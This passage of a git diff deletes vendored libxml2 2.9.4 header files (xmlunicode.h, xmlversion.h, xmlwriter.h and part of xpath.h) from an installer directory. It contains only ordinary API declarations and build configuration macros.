-XMLPUBFUN int XMLCALL xmlUCSIsOriya (int code); -XMLPUBFUN int XMLCALL xmlUCSIsOsmanya (int code); -XMLPUBFUN int XMLCALL xmlUCSIsPhoneticExtensions (int code); -XMLPUBFUN int XMLCALL xmlUCSIsPrivateUse (int code); -XMLPUBFUN int XMLCALL xmlUCSIsPrivateUseArea (int code); -XMLPUBFUN int XMLCALL xmlUCSIsRunic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsShavian (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSinhala (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSmallFormVariants (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSpacingModifierLetters (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSpecials (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSuperscriptsandSubscripts (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSupplementalArrowsA (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSupplementalArrowsB (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSupplementalMathematicalOperators (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSupplementaryPrivateUseAreaA (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSupplementaryPrivateUseAreaB (int code); -XMLPUBFUN int XMLCALL xmlUCSIsSyriac (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTagalog (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTagbanwa (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTags (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTaiLe (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTaiXuanJingSymbols (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTamil (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTelugu (int code); -XMLPUBFUN int XMLCALL xmlUCSIsThaana (int code); -XMLPUBFUN int XMLCALL xmlUCSIsThai (int code); -XMLPUBFUN int XMLCALL xmlUCSIsTibetan (int code); -XMLPUBFUN int XMLCALL xmlUCSIsUgaritic (int code); -XMLPUBFUN int XMLCALL xmlUCSIsUnifiedCanadianAboriginalSyllabics (int code); -XMLPUBFUN int XMLCALL xmlUCSIsVariationSelectors (int code); -XMLPUBFUN int XMLCALL xmlUCSIsVariationSelectorsSupplement (int code); -XMLPUBFUN int XMLCALL xmlUCSIsYiRadicals (int code); -XMLPUBFUN int XMLCALL xmlUCSIsYiSyllables (int code); -XMLPUBFUN int XMLCALL xmlUCSIsYijingHexagramSymbols (int code); - -XMLPUBFUN int XMLCALL xmlUCSIsBlock (int code, const char *block); - -XMLPUBFUN int XMLCALL xmlUCSIsCatC (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatCc (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatCf (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatCo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatCs (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatL (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatLl (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatLm (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatLo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatLt (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatLu (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatM (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatMc (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatMe (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatMn (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatN (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatNd (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatNl (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatNo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatP (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPc (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPd (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPe (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPf (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPi (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatPs (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatS (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatSc (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatSk (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatSm (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatSo (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatZ (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatZl (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatZp (int code); -XMLPUBFUN int XMLCALL xmlUCSIsCatZs (int code); - -XMLPUBFUN int XMLCALL xmlUCSIsCat (int code, const char *cat); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_UNICODE_ENABLED */ - -#endif /* __XML_UNICODE_H__ */ diff --git a/installer/libxml2/include/libxml/xmlversion.h b/installer/libxml2/include/libxml/xmlversion.h deleted file mode 100644 index 90efc74..0000000 --- a/installer/libxml2/include/libxml/xmlversion.h +++ /dev/null @@ -1,489 +0,0 @@ -/* - * Summary: compile-time version informations - * Description: compile-time version informations for the XML library - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_VERSION_H__ -#define __XML_VERSION_H__ - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * use those to be sure nothing nasty will happen if - * your library and includes mismatch - */ -#ifndef LIBXML2_COMPILING_MSCCDEF -XMLPUBFUN void XMLCALL xmlCheckVersion(int version); -#endif /* LIBXML2_COMPILING_MSCCDEF */ - -/** - * LIBXML_DOTTED_VERSION: - * - * the version string like "1.2.3" - */ -#define LIBXML_DOTTED_VERSION "2.9.4" - -/** - * LIBXML_VERSION: - * - * the version number: 1.2.3 value is 10203 - */ -#define LIBXML_VERSION 20904 - -/** - * LIBXML_VERSION_STRING: - * - * the version number string, 1.2.3 value is "10203" - */ -#define LIBXML_VERSION_STRING "20904" - -/** - * LIBXML_VERSION_EXTRA: - * - * extra version information, used to show a CVS compilation - */ -#define LIBXML_VERSION_EXTRA "" - -/** - * LIBXML_TEST_VERSION: - * - * Macro to check that the libxml version in use is compatible with - * the version the software has been compiled against - */ -#define LIBXML_TEST_VERSION xmlCheckVersion(20904); - -#ifndef VMS -#if 0 -/** - * WITH_TRIO: - * - * defined if the trio support need to be configured in - */ -#define WITH_TRIO -#else -/** - * WITHOUT_TRIO: - * - * defined if the trio support should not be configured in - */ -#define WITHOUT_TRIO -#endif -#else /* VMS */ -/** - * WITH_TRIO: - * - * defined if the trio support need to be configured in - */ -#define WITH_TRIO 1 -#endif /* VMS */ - -/** - * LIBXML_THREAD_ENABLED: - * - * Whether the thread support is configured in - */ -#if 0 -#if defined(_REENTRANT) || defined(__MT__) || \ - (defined(_POSIX_C_SOURCE) && (_POSIX_C_SOURCE - 0 >= 199506L)) -#define LIBXML_THREAD_ENABLED -#endif -#endif - -/** - * LIBXML_THREAD_ALLOC_ENABLED: - * - * Whether the allocation hooks are per-thread - */ -#if 0 -#define LIBXML_THREAD_ALLOC_ENABLED -#endif - -/** - * LIBXML_TREE_ENABLED: - * - * Whether the DOM like tree manipulation API support is configured in - */ -#if 0 -#define LIBXML_TREE_ENABLED -#endif - -/** - * LIBXML_OUTPUT_ENABLED: - * - * Whether the serialization/saving support is configured in - */ -#if 1 -#define LIBXML_OUTPUT_ENABLED -#endif - -/** - * LIBXML_PUSH_ENABLED: - * - * Whether the push parsing interfaces are configured in - */ -#if 0 -#define LIBXML_PUSH_ENABLED -#endif - -/** - * LIBXML_READER_ENABLED: - * - * Whether the xmlReader parsing interface is configured in - */ -#if 0 -#define LIBXML_READER_ENABLED -#endif - -/** - * LIBXML_PATTERN_ENABLED: - * - * Whether the xmlPattern node selection interface is configured in - */ -#if 0 -#define LIBXML_PATTERN_ENABLED -#endif - -/** - * LIBXML_WRITER_ENABLED: - * - * Whether the xmlWriter saving interface is configured in - */ -#if 0 -#define LIBXML_WRITER_ENABLED -#endif - -/** - * LIBXML_SAX1_ENABLED: - * - * Whether the older SAX1 interface is configured in - */ -#if 0 -#define LIBXML_SAX1_ENABLED -#endif - -/** - * LIBXML_FTP_ENABLED: - * - * Whether the FTP support is configured in - */ -#if 0 -#define LIBXML_FTP_ENABLED -#endif - -/** - * LIBXML_HTTP_ENABLED: - * - * Whether the HTTP support is configured in - */ -#if 0 -#define LIBXML_HTTP_ENABLED -#endif - -/** - * LIBXML_VALID_ENABLED: - * - * Whether the DTD validation support is configured in - */ -#if 0 -#define LIBXML_VALID_ENABLED -#endif - -/** - * LIBXML_HTML_ENABLED: - * - * Whether the HTML support is configured in - */ -#if 0 -#define LIBXML_HTML_ENABLED -#endif - -/** - * LIBXML_LEGACY_ENABLED: - * - * Whether the deprecated APIs are compiled in for compatibility - */ -#if 0 -#define LIBXML_LEGACY_ENABLED -#endif - -/** - * LIBXML_C14N_ENABLED: - * - * Whether the Canonicalization support is configured in - */ -#if 0 -#define LIBXML_C14N_ENABLED -#endif - -/** - * LIBXML_CATALOG_ENABLED: - * - * Whether the Catalog support is configured in - */ -#if 0 -#define LIBXML_CATALOG_ENABLED -#endif - -/** - * LIBXML_DOCB_ENABLED: - * - * Whether the SGML Docbook support is configured in - */ -#if 0 -#define LIBXML_DOCB_ENABLED -#endif - -/** - * LIBXML_XPATH_ENABLED: - * - * Whether XPath is configured in - */ -#if 0 -#define LIBXML_XPATH_ENABLED -#endif - -/** - * LIBXML_XPTR_ENABLED: - * - * Whether XPointer is configured in - */ -#if 0 -#define LIBXML_XPTR_ENABLED -#endif - -/** - * LIBXML_XINCLUDE_ENABLED: - * - * Whether XInclude is configured in - */ -#if 0 -#define LIBXML_XINCLUDE_ENABLED -#endif - -/** - * LIBXML_ICONV_ENABLED: - * - * Whether iconv support is available - */ -#if 0 -#define LIBXML_ICONV_ENABLED -#endif - -/** - * LIBXML_ICU_ENABLED: - * - * Whether icu support is available - */ -#if 0 -#define LIBXML_ICU_ENABLED -#endif - -/** - * LIBXML_ISO8859X_ENABLED: - * - * Whether ISO-8859-* support is made available in case iconv is not - */ -#if 0 -#define LIBXML_ISO8859X_ENABLED -#endif - -/** - * LIBXML_DEBUG_ENABLED: - * - * Whether Debugging module is configured in - */ -#if 0 -#define LIBXML_DEBUG_ENABLED -#endif - -/** - * DEBUG_MEMORY_LOCATION: - * - * Whether the memory debugging is configured in - */ -#if 0 -#define DEBUG_MEMORY_LOCATION -#endif - -/** - * LIBXML_DEBUG_RUNTIME: - * - * Whether the runtime debugging is configured in - */ -#if 0 -#define LIBXML_DEBUG_RUNTIME -#endif - -/** - * LIBXML_UNICODE_ENABLED: - * - * Whether the Unicode related interfaces are compiled in - */ -#if 0 -#define LIBXML_UNICODE_ENABLED -#endif - -/** - * LIBXML_REGEXP_ENABLED: - * - * Whether the regular expressions interfaces are compiled in - */ -#if 0 -#define LIBXML_REGEXP_ENABLED -#endif - -/** - * LIBXML_AUTOMATA_ENABLED: - * - * Whether the automata interfaces are compiled in - */ -#if 0 -#define LIBXML_AUTOMATA_ENABLED -#endif - -/** - * LIBXML_EXPR_ENABLED: - * - * Whether the formal expressions interfaces are compiled in - */ -#if 0 -#define LIBXML_EXPR_ENABLED -#endif - -/** - * LIBXML_SCHEMAS_ENABLED: - * - * Whether the Schemas validation interfaces are compiled in - */ -#if 0 -#define LIBXML_SCHEMAS_ENABLED -#endif - -/** - * LIBXML_SCHEMATRON_ENABLED: - * - * Whether the Schematron validation interfaces are compiled in - */ -#if 0 -#define LIBXML_SCHEMATRON_ENABLED -#endif - -/** - * LIBXML_MODULES_ENABLED: - * - * Whether the module interfaces are compiled in - */ -#if 0 -#define LIBXML_MODULES_ENABLED -/** - * LIBXML_MODULE_EXTENSION: - * - * the string suffix used by dynamic modules (usually shared libraries) - */ -#define LIBXML_MODULE_EXTENSION "" -#endif - -/** - * LIBXML_ZLIB_ENABLED: - * - * Whether the Zlib support is compiled in - */ -#if 0 -#define LIBXML_ZLIB_ENABLED -#endif - -/** - * LIBXML_LZMA_ENABLED: - * - * Whether the Lzma support is compiled in - */ -#if 0 -#define LIBXML_LZMA_ENABLED -#endif - -#ifdef __GNUC__ -#ifdef HAVE_ANSIDECL_H -#include -#endif - -/** - * ATTRIBUTE_UNUSED: - * - * Macro used to signal to GCC unused function parameters - */ - -#ifndef ATTRIBUTE_UNUSED -# if ((__GNUC__ > 2) || ((__GNUC__ == 2) && (__GNUC_MINOR__ >= 7))) -# define ATTRIBUTE_UNUSED __attribute__((unused)) -# else -# define ATTRIBUTE_UNUSED -# endif -#endif - -/** - * LIBXML_ATTR_ALLOC_SIZE: - * - * Macro used to indicate to GCC this is an allocator function - */ - -#ifndef LIBXML_ATTR_ALLOC_SIZE -# if (!defined(__clang__) && ((__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 3)))) -# define LIBXML_ATTR_ALLOC_SIZE(x) __attribute__((alloc_size(x))) -# else -# define LIBXML_ATTR_ALLOC_SIZE(x) -# endif -#else -# define LIBXML_ATTR_ALLOC_SIZE(x) -#endif - -/** - * LIBXML_ATTR_FORMAT: - * - * Macro used to indicate to GCC the parameter are printf like - */ - -#ifndef LIBXML_ATTR_FORMAT -# if ((__GNUC__ > 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3))) -# define LIBXML_ATTR_FORMAT(fmt,args) __attribute__((__format__(__printf__,fmt,args))) -# else -# define LIBXML_ATTR_FORMAT(fmt,args) -# endif -#else -# define LIBXML_ATTR_FORMAT(fmt,args) -#endif - -#else /* ! __GNUC__ */ -/** - * ATTRIBUTE_UNUSED: - * - * Macro used to signal to GCC unused function parameters - */ -#define ATTRIBUTE_UNUSED -/** - * LIBXML_ATTR_ALLOC_SIZE: - * - * Macro used to indicate to GCC this is an allocator function - */ -#define LIBXML_ATTR_ALLOC_SIZE(x) -/** - * LIBXML_ATTR_FORMAT: - * - * Macro used to indicate to GCC the parameter are printf like - */ -#define LIBXML_ATTR_FORMAT(fmt,args) -#endif /* __GNUC__ */ - -#ifdef __cplusplus -} -#endif /* __cplusplus */ -#endif - - diff --git a/installer/libxml2/include/libxml/xmlwriter.h b/installer/libxml2/include/libxml/xmlwriter.h deleted file mode 100644 index dd5add3..0000000 --- a/installer/libxml2/include/libxml/xmlwriter.h +++ /dev/null @@ -1,488 +0,0 @@ -/* - * Summary: text writing API for XML - * Description: text writing API for XML - * - * Copy: See Copyright for the status of this software. - * - * Author: Alfred Mickautsch - */ - -#ifndef __XML_XMLWRITER_H__ -#define __XML_XMLWRITER_H__ - -#include - -#ifdef LIBXML_WRITER_ENABLED - -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - - typedef struct _xmlTextWriter xmlTextWriter; - typedef xmlTextWriter *xmlTextWriterPtr; - -/* - * Constructors & Destructor - */ - XMLPUBFUN xmlTextWriterPtr XMLCALL - xmlNewTextWriter(xmlOutputBufferPtr out); - XMLPUBFUN xmlTextWriterPtr XMLCALL - xmlNewTextWriterFilename(const char *uri, int compression); - XMLPUBFUN xmlTextWriterPtr XMLCALL - xmlNewTextWriterMemory(xmlBufferPtr buf, int compression); - XMLPUBFUN xmlTextWriterPtr XMLCALL - xmlNewTextWriterPushParser(xmlParserCtxtPtr ctxt, int compression); - XMLPUBFUN xmlTextWriterPtr XMLCALL - xmlNewTextWriterDoc(xmlDocPtr * doc, int compression); - XMLPUBFUN xmlTextWriterPtr XMLCALL - xmlNewTextWriterTree(xmlDocPtr doc, xmlNodePtr node, - int compression); - XMLPUBFUN void XMLCALL xmlFreeTextWriter(xmlTextWriterPtr writer); - -/* - * Functions - */ - - -/* - * Document - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartDocument(xmlTextWriterPtr writer, - const char *version, - const char *encoding, - const char *standalone); - XMLPUBFUN int XMLCALL xmlTextWriterEndDocument(xmlTextWriterPtr - writer); - -/* - * Comments - */ - XMLPUBFUN int XMLCALL xmlTextWriterStartComment(xmlTextWriterPtr - writer); - XMLPUBFUN int XMLCALL xmlTextWriterEndComment(xmlTextWriterPtr writer); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatComment(xmlTextWriterPtr writer, - const char *format, ...) - LIBXML_ATTR_FORMAT(2,3); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatComment(xmlTextWriterPtr writer, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(2,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteComment(xmlTextWriterPtr - writer, - const xmlChar * - content); - -/* - * Elements - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartElement(xmlTextWriterPtr writer, - const xmlChar * name); - XMLPUBFUN int XMLCALL xmlTextWriterStartElementNS(xmlTextWriterPtr - writer, - const xmlChar * - prefix, - const xmlChar * name, - const xmlChar * - namespaceURI); - XMLPUBFUN int XMLCALL xmlTextWriterEndElement(xmlTextWriterPtr writer); - XMLPUBFUN int XMLCALL xmlTextWriterFullEndElement(xmlTextWriterPtr - writer); - -/* - * Elements conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatElement(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, ...) - LIBXML_ATTR_FORMAT(3,4); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatElement(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(3,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteElement(xmlTextWriterPtr - writer, - const xmlChar * name, - const xmlChar * - content); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatElementNS(xmlTextWriterPtr writer, - const xmlChar * prefix, - const xmlChar * name, - const xmlChar * namespaceURI, - const char *format, ...) - LIBXML_ATTR_FORMAT(5,6); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatElementNS(xmlTextWriterPtr writer, - const xmlChar * prefix, - const xmlChar * name, - const xmlChar * namespaceURI, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(5,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteElementNS(xmlTextWriterPtr - writer, - const xmlChar * - prefix, - const xmlChar * name, - const xmlChar * - namespaceURI, - const xmlChar * - content); - -/* - * Text - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatRaw(xmlTextWriterPtr writer, - const char *format, ...) - LIBXML_ATTR_FORMAT(2,3); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatRaw(xmlTextWriterPtr writer, - const char *format, va_list argptr) - LIBXML_ATTR_FORMAT(2,0); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteRawLen(xmlTextWriterPtr writer, - const xmlChar * content, int len); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteRaw(xmlTextWriterPtr writer, - const xmlChar * content); - XMLPUBFUN int XMLCALL xmlTextWriterWriteFormatString(xmlTextWriterPtr - writer, - const char - *format, ...) - LIBXML_ATTR_FORMAT(2,3); - XMLPUBFUN int XMLCALL xmlTextWriterWriteVFormatString(xmlTextWriterPtr - writer, - const char - *format, - va_list argptr) - LIBXML_ATTR_FORMAT(2,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteString(xmlTextWriterPtr writer, - const xmlChar * - content); - XMLPUBFUN int XMLCALL xmlTextWriterWriteBase64(xmlTextWriterPtr writer, - const char *data, - int start, int len); - XMLPUBFUN int XMLCALL xmlTextWriterWriteBinHex(xmlTextWriterPtr writer, - const char *data, - int start, int len); - -/* - * Attributes - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartAttribute(xmlTextWriterPtr writer, - const xmlChar * name); - XMLPUBFUN int XMLCALL xmlTextWriterStartAttributeNS(xmlTextWriterPtr - writer, - const xmlChar * - prefix, - const xmlChar * - name, - const xmlChar * - namespaceURI); - XMLPUBFUN int XMLCALL xmlTextWriterEndAttribute(xmlTextWriterPtr - writer); - -/* - * Attributes conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatAttribute(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, ...) - LIBXML_ATTR_FORMAT(3,4); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatAttribute(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(3,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteAttribute(xmlTextWriterPtr - writer, - const xmlChar * name, - const xmlChar * - content); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatAttributeNS(xmlTextWriterPtr writer, - const xmlChar * prefix, - const xmlChar * name, - const xmlChar * namespaceURI, - const char *format, ...) - LIBXML_ATTR_FORMAT(5,6); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatAttributeNS(xmlTextWriterPtr writer, - const xmlChar * prefix, - const xmlChar * name, - const xmlChar * namespaceURI, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(5,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteAttributeNS(xmlTextWriterPtr - writer, - const xmlChar * - prefix, - const xmlChar * - name, - const xmlChar * - namespaceURI, - const xmlChar * - content); - -/* - * PI's - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartPI(xmlTextWriterPtr writer, - const xmlChar * target); - XMLPUBFUN int XMLCALL xmlTextWriterEndPI(xmlTextWriterPtr writer); - -/* - * PI conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatPI(xmlTextWriterPtr writer, - const xmlChar * target, - const char *format, ...) - LIBXML_ATTR_FORMAT(3,4); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatPI(xmlTextWriterPtr writer, - const xmlChar * target, - const char *format, va_list argptr) - LIBXML_ATTR_FORMAT(3,0); - XMLPUBFUN int XMLCALL - xmlTextWriterWritePI(xmlTextWriterPtr writer, - const xmlChar * target, - const xmlChar * content); - -/** - * xmlTextWriterWriteProcessingInstruction: - * - * This macro maps to xmlTextWriterWritePI - */ -#define xmlTextWriterWriteProcessingInstruction xmlTextWriterWritePI - -/* - * CDATA - */ - XMLPUBFUN int XMLCALL xmlTextWriterStartCDATA(xmlTextWriterPtr writer); - XMLPUBFUN int XMLCALL xmlTextWriterEndCDATA(xmlTextWriterPtr writer); - -/* - * CDATA conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatCDATA(xmlTextWriterPtr writer, - const char *format, ...) - LIBXML_ATTR_FORMAT(2,3); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatCDATA(xmlTextWriterPtr writer, - const char *format, va_list argptr) - LIBXML_ATTR_FORMAT(2,0); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteCDATA(xmlTextWriterPtr writer, - const xmlChar * content); - -/* - * DTD - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartDTD(xmlTextWriterPtr writer, - const xmlChar * name, - const xmlChar * pubid, - const xmlChar * sysid); - XMLPUBFUN int XMLCALL xmlTextWriterEndDTD(xmlTextWriterPtr writer); - -/* - * DTD conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatDTD(xmlTextWriterPtr writer, - const xmlChar * name, - const xmlChar * pubid, - const xmlChar * sysid, - const char *format, ...) - LIBXML_ATTR_FORMAT(5,6); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatDTD(xmlTextWriterPtr writer, - const xmlChar * name, - const xmlChar * pubid, - const xmlChar * sysid, - const char *format, va_list argptr) - LIBXML_ATTR_FORMAT(5,0); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteDTD(xmlTextWriterPtr writer, - const xmlChar * name, - const xmlChar * pubid, - const xmlChar * sysid, - const xmlChar * subset); - -/** - * xmlTextWriterWriteDocType: - * - * this macro maps to xmlTextWriterWriteDTD - */ -#define xmlTextWriterWriteDocType xmlTextWriterWriteDTD - -/* - * DTD element definition - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartDTDElement(xmlTextWriterPtr writer, - const xmlChar * name); - XMLPUBFUN int XMLCALL xmlTextWriterEndDTDElement(xmlTextWriterPtr - writer); - -/* - * DTD element definition conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatDTDElement(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, ...) - LIBXML_ATTR_FORMAT(3,4); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatDTDElement(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(3,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteDTDElement(xmlTextWriterPtr - writer, - const xmlChar * - name, - const xmlChar * - content); - -/* - * DTD attribute list definition - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartDTDAttlist(xmlTextWriterPtr writer, - const xmlChar * name); - XMLPUBFUN int XMLCALL xmlTextWriterEndDTDAttlist(xmlTextWriterPtr - writer); - -/* - * DTD attribute list definition conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatDTDAttlist(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, ...) - LIBXML_ATTR_FORMAT(3,4); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatDTDAttlist(xmlTextWriterPtr writer, - const xmlChar * name, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(3,0); - XMLPUBFUN int XMLCALL xmlTextWriterWriteDTDAttlist(xmlTextWriterPtr - writer, - const xmlChar * - name, - const xmlChar * - content); - -/* - * DTD entity definition - */ - XMLPUBFUN int XMLCALL - xmlTextWriterStartDTDEntity(xmlTextWriterPtr writer, - int pe, const xmlChar * name); - XMLPUBFUN int XMLCALL xmlTextWriterEndDTDEntity(xmlTextWriterPtr - writer); - -/* - * DTD entity definition conveniency functions - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteFormatDTDInternalEntity(xmlTextWriterPtr writer, - int pe, - const xmlChar * name, - const char *format, ...) - LIBXML_ATTR_FORMAT(4,5); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteVFormatDTDInternalEntity(xmlTextWriterPtr writer, - int pe, - const xmlChar * name, - const char *format, - va_list argptr) - LIBXML_ATTR_FORMAT(4,0); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteDTDInternalEntity(xmlTextWriterPtr writer, - int pe, - const xmlChar * name, - const xmlChar * content); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteDTDExternalEntity(xmlTextWriterPtr writer, - int pe, - const xmlChar * name, - const xmlChar * pubid, - const xmlChar * sysid, - const xmlChar * ndataid); - XMLPUBFUN int XMLCALL - xmlTextWriterWriteDTDExternalEntityContents(xmlTextWriterPtr - writer, - const xmlChar * pubid, - const xmlChar * sysid, - const xmlChar * - ndataid); - XMLPUBFUN int XMLCALL xmlTextWriterWriteDTDEntity(xmlTextWriterPtr - writer, int pe, - const xmlChar * name, - const xmlChar * - pubid, - const xmlChar * - sysid, - const xmlChar * - ndataid, - const xmlChar * - content); - -/* - * DTD notation definition - */ - XMLPUBFUN int XMLCALL - xmlTextWriterWriteDTDNotation(xmlTextWriterPtr writer, - const xmlChar * name, - const xmlChar * pubid, - const xmlChar * sysid); - -/* - * Indentation - */ - XMLPUBFUN int XMLCALL - xmlTextWriterSetIndent(xmlTextWriterPtr writer, int indent); - XMLPUBFUN int XMLCALL - xmlTextWriterSetIndentString(xmlTextWriterPtr writer, - const xmlChar * str); - - XMLPUBFUN int XMLCALL - xmlTextWriterSetQuoteChar(xmlTextWriterPtr writer, xmlChar quotechar); - - -/* - * misc - */ - XMLPUBFUN int XMLCALL xmlTextWriterFlush(xmlTextWriterPtr writer); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_WRITER_ENABLED */ - -#endif /* __XML_XMLWRITER_H__ */ diff --git a/installer/libxml2/include/libxml/xpath.h b/installer/libxml2/include/libxml/xpath.h deleted file mode 100644 index d96776c..0000000 --- a/installer/libxml2/include/libxml/xpath.h +++ /dev/null @@ -1,557 +0,0 @@ -/* - * Summary: XML Path Language implementation - * Description: API for the XML Path Language implementation - * - * XML Path Language implementation - * XPath is a language for addressing parts of an XML document, - * designed to be used by both XSLT and XPointer - * http://www.w3.org/TR/xpath - * - * Implements - * W3C Recommendation 16 November 1999 - * http://www.w3.org/TR/1999/REC-xpath-19991116 - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XPATH_H__ -#define __XML_XPATH_H__ - -#include - -#ifdef LIBXML_XPATH_ENABLED - -#include -#include -#include -#endif /* LIBXML_XPATH_ENABLED */ - -#if defined(LIBXML_XPATH_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -#ifdef __cplusplus -extern "C" { -#endif -#endif /* LIBXML_XPATH_ENABLED or LIBXML_SCHEMAS_ENABLED */ - -#ifdef LIBXML_XPATH_ENABLED - -typedef struct _xmlXPathContext xmlXPathContext; -typedef xmlXPathContext *xmlXPathContextPtr; -typedef struct _xmlXPathParserContext xmlXPathParserContext; -typedef xmlXPathParserContext *xmlXPathParserContextPtr; - -/** - * The set of XPath error codes. - */ - -typedef enum { - XPATH_EXPRESSION_OK = 0, - XPATH_NUMBER_ERROR, - XPATH_UNFINISHED_LITERAL_ERROR, - XPATH_START_LITERAL_ERROR, - XPATH_VARIABLE_REF_ERROR, - XPATH_UNDEF_VARIABLE_ERROR, - 